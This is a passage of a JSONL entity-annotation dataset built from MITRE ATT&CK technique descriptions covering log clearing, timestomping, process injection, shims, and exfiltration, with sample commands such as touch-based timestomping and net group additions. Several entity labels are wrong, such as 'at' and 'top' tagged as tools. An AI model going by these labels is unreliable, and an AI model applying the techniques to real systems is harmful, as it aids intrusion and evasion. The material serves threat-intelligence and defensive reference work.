sessions and is deleted when the session ends.\n\nThe <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.\n\nAdversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the <code>ConsoleHost_history.txt</code> file. Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.", "spans": {"SYSTEM: Linux": [[294, 299]], "SYSTEM: macOS": [[304, 309]], "FILEPATH: /var/log/shell.log`": [[1156, 1175]], "SYSTEM: Windows": [[1186, 1193], [1671, 1678]], "TOOL: PowerShell": [[1201, 1211], [1595, 1605], [1679, 1689], [1900, 1910], [1997, 2007], [2204, 2214]], "ORGANIZATION: Microsoft": [[1661, 1670]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070.003"}}
{"text": "Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (`pcalua.exe`), components of the Windows Subsystem for Linux (WSL), `Scriptrunner.exe`, as well as other utilities may invoke the execution of programs and commands from a Command and Scripting Interpreter, Run window, or via scripts. Adversaries may also abuse the `ssh.exe` binary to execute malicious commands via the `ProxyCommand` and `LocalCommand` options, which can be invoked via the `-o` flag or by modifying the SSH config file.\n\nAdversaries may abuse these features for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd or file extensions more commonly associated with malicious payloads.", "spans": {"SYSTEM: Windows": [[154, 161], [329, 336]], "TOOL: cmd": [[231, 234], [949, 952]], "MALWARE: Forfiles": [[249, 257]], "SYSTEM: Linux": [[351, 356]], "TOOL: ssh": [[563, 566]], "SYSTEM: SSH": [[719, 722]], "SYSTEM: Group Policy": [[903, 915]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1202"}}
{"text": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB. This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables. For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).", "spans": {"SYSTEM: Access": [[486, 492]], "SYSTEM: Android": [[787, 794]], "SYSTEM: iOS": [[796, 799]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1091"}}
{"text": "Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information. Adversaries may also use Automated Collection on the local system.", "spans": {"TOOL: cmd": [[291, 294]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1005"}}
{"text": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows <code>copy /b</code> or <code>type</code> command to reassemble binary fragments into a malicious payload.\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "spans": {"TOOL: certutil": [[362, 370]], "SYSTEM: Windows": [[504, 511]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1140"}}
{"text": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.\n\nOnce malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.", "spans": {"SYSTEM: Microsoft Outlook": [[22, 39]], "SYSTEM: Outlook": [[93, 100], [263, 270], [335, 342], [549, 556]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1137.005"}}
{"text": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562"}}
{"text": "Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for Exfiltration to Cloud Storage or to Upload Tools. Cloud accounts can also be used in the acquisition of infrastructure, such as Virtual Private Servers or Serverless infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or Phishing. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, conducting Password Spraying attacks, or attempting to Steal Application Access Tokens. Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a Trusted Relationship between service providers and their customers.", "spans": {"SYSTEM: Dropbox": [[205, 212]], "ORGANIZATION: Microsoft": [[214, 223]], "SYSTEM: OneDrive": [[224, 232]], "SYSTEM: AWS": [[237, 240], [509, 512], [533, 536], [575, 578]], "SYSTEM: S3": [[241, 243]], "SYSTEM: Access": [[1010, 1016]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1586.003"}}
{"text": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct Phishing for Information, Phishing, or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: Domains).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or Phishing emails may evade reputation-based email filtering rules.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1586.002"}}
{"text": "An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain.\n\nOn Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups. On Linux, adversaries may use the `usermod` command for the same purpose.\n\nFor example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage Remote Desktop Protocol to log into the endpoints in the future. Adversaries may also add accounts to VPN user groups to gain future persistence on the network. On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage Sudo and Sudo Caching for elevated privileges. \n\nIn Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.", "spans": {"SYSTEM: Windows": [[147, 154], [416, 423], [859, 866]], "SYSTEM: Linux": [[272, 277], [717, 722]], "TOOL: Remote Desktop Protocol": [[553, 576]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1098.007"}}
{"text": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Malware can also be staged on web services, such as GitHub or Pastebin; hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult; or saved on the blockchain as smart contracts, which are resilient against takedowns that would affect traditional infrastructure.\n\nAdversaries may upload backdoored files, such as software packages, application binaries, virtual machine images, or container images, to third-party software stores, package libraries, extension marketplaces, or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM). By chance encounter, victims may directly download/install these backdoored files via User Execution. Masquerading, including typo-squatting legitimate software, may increase the chance of users mistakenly executing these files.", "spans": {"SYSTEM: GitHub": [[689, 695], [1205, 1211]], "SYSTEM: AWS": [[1219, 1222]], "SYSTEM: Docker": [[1239, 1245]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1608.001"}}
{"text": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (removable media infected at the factory) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims. Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.\n\nIn some cases, adversaries may conduct “second-order” supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component. This may allow the threat actor to spread to even more victims.", "spans": {"TOOL: at": [[190, 192], [557, 559]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1195"}}
{"text": "Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Defense Evasion or Exploitation for Client Execution.\n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.", "spans": {"SYSTEM: SMB": [[330, 333]], "SYSTEM: SSH": [[337, 340]], "SYSTEM: SNMP": [[404, 408]], "SYSTEM: VMware": [[602, 608]], "SYSTEM: API": [[1037, 1040]], "TOOL: top": [[1360, 1363], [1375, 1378]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1190"}}
{"text": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket. Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC). Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting.  Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.", "spans": {"SYSTEM: Kerberos": [[35, 43], [82, 90], [126, 134], [219, 227], [419, 427], [626, 634], [797, 805]], "SYSTEM: Windows": [[187, 194], [709, 716]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1558"}}
{"text": "Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1555"}}
{"text": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "spans": {"SYSTEM: SSL": [[458, 461]], "SYSTEM: TLS": [[462, 465]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1567"}}
{"text": "An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management. Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.\n\nRemote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system.\n\nInstallation of many remote access tools may also include persistence (e.g., the software's installation routine creates a Windows Service). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome’s Remote Desktop).", "spans": {"SYSTEM: KVM": [[339, 342]], "SYSTEM: Windows": [[1305, 1312]], "SYSTEM: Google Chrome": [[1415, 1428]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1219"}}
{"text": "Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries may use acquired domains for a variety of purposes, including for Phishing, Drive-by Compromise, and Command and Control. Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD). Typosquatting may be used to aid in delivery of payloads via Drive-by Compromise. Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.\n\nDifferent URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).\n\nAdversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.\n\nIn addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor’s choosing.", "spans": {"TOOL: top": [[477, 480]], "SYSTEM: AWS": [[1806, 1809]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1583.001"}}
{"text": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including Python rarfile , libzip , and zlib . Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.", "spans": {"SYSTEM: Python": [[163, 169]], "SYSTEM: macOS": [[341, 346]], "SYSTEM: Linux": [[351, 356]], "SYSTEM: Windows": [[369, 376]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1560.002"}}
{"text": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.\n\nThis is very similar to Process Hollowing but targets an existing process rather than creating a process in a suspended state.  \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[518, 525]], "SYSTEM: API": [[526, 529]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055.003"}}
{"text": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of Masquerading.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036"}}
{"text": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. \n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.  Shims can also be abused to establish persistence by continuously being invoked by affected programs.", "spans": {"ORGANIZATION: Microsoft": [[131, 140]], "SYSTEM: Windows": [[141, 148], [660, 667], [969, 976], [1382, 1389]], "SYSTEM: Windows XP": [[473, 483]], "SYSTEM: Windows 10": [[510, 520]], "FILEPATH: %WINDIR%": [[1022, 1030], [1198, 1206], [1225, 1233]], "SYSTEM: Windows Defender": [[1939, 1955]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.011"}}
{"text": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. Shell History), operating system or application-specific repositories (e.g. Credentials in Registry),  or other specialized files/artifacts (e.g. Private Keys).", "spans": {"SYSTEM: Registry": [[296, 304]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1552"}}
{"text": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the <code>AddMonitor</code> API call to set a DLL to be loaded at startup. This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot. \n\nAlternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. The Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port", "spans": {"SYSTEM: API": [[189, 192]], "TOOL: at": [[224, 226]], "FILEPATH: C:\\Windows\\System32": [[269, 288]], "SYSTEM: Registry": [[668, 676]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.010"}}
{"text": "Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. \n\nAdversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of Phishing/Internal Spearphishing, Email Collection, Mail Protocols for command and control, or email-based exfiltration such as Exfiltration Over Alternative Protocol. For example, to remove evidence on Exchange servers adversaries have used the <code>ExchangePowerShell</code> PowerShell module, including <code>Remove-MailboxExportRequest</code> to remove evidence of mailbox exports. On Linux and macOS, adversaries may also delete emails through a command line utility called <code>mail</code>  or use AppleScript to interact with APIs on macOS.\n\nAdversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.", "spans": {"SYSTEM: Exchange": [[667, 675]], "TOOL: PowerShell": [[742, 752]], "SYSTEM: Linux": [[854, 859]], "SYSTEM: macOS": [[864, 869], [1007, 1012]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070.008"}}
{"text": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks. \n\nAdversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of Launch Daemon and Launch Agent", "spans": {"TOOL: at": [[937, 939]], "SYSTEM: macOS": [[1007, 1012]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1037.002"}}
{"text": "Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems.\n\nAdversaries may inject content to victim systems in various ways, including:\n\n* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) \n* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server \n\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"", "spans": {"TOOL: at": [[1161, 1163]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1659"}}
{"text": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055"}}
{"text": "Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server. Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello. When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application. \n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated Automated Exfiltration of emails, chat messages, and other data. Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.", "spans": {"SYSTEM: HTTP": [[185, 189]], "SYSTEM: Discord": [[314, 321]], "SYSTEM: Slack": [[323, 328]], "SYSTEM: Jira": [[444, 448]], "SYSTEM: Access": [[1005, 1011]], "SYSTEM: HTTPS": [[1047, 1052]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1567.004"}}
{"text": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. Port Knocking), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r , is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable Network Device Authentication for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.  Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage Patch System Image due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1205"}}
{"text": "Adversaries may leverage Valid Accounts to log directly into accessible cloud hosted compute infrastructure through cloud native methods. Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the Cloud API, such as Azure Serial Console, AWS EC2 Instance Connect, and AWS System Manager..\n\nMethods of authentication for these connections can include passwords, application access tokens, or SSH keys. These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access. \n\nAdversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment. These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., Cloud Administration Command).", "spans": {"SYSTEM: API": [[254, 257]], "SYSTEM: Azure": [[267, 272]], "SYSTEM: AWS": [[289, 292], [319, 322]], "SYSTEM: EC2": [[293, 296]], "SYSTEM: SSH": [[442, 445]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1021.008"}}
{"text": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.", "spans": {"ORGANIZATION: Microsoft": [[193, 202], [271, 280], [470, 479]], "SYSTEM: Windows": [[403, 410], [516, 523]], "SYSTEM: Linux": [[612, 617]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218"}}
{"text": "Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.\n\nIn Windows systems, both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file. `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel.\n\nModifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.\n\nAdversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in “double timestomping” by modifying times on both attributes simultaneously.\n\nIn Linux systems and on ESXi servers, threat actors may attempt to perform timestomping using commands such as `touch -a -m -t <timestamp> <filename>` (which sets access and modification times to a specific value) or `touch -r <filename> <filename>` (which sets access and modification times to match those of another file).\n\nTimestomping may be used along with file name Masquerading to hide malware and tools.", "spans": {"SYSTEM: Windows": [[309, 316]], "TOOL: at": 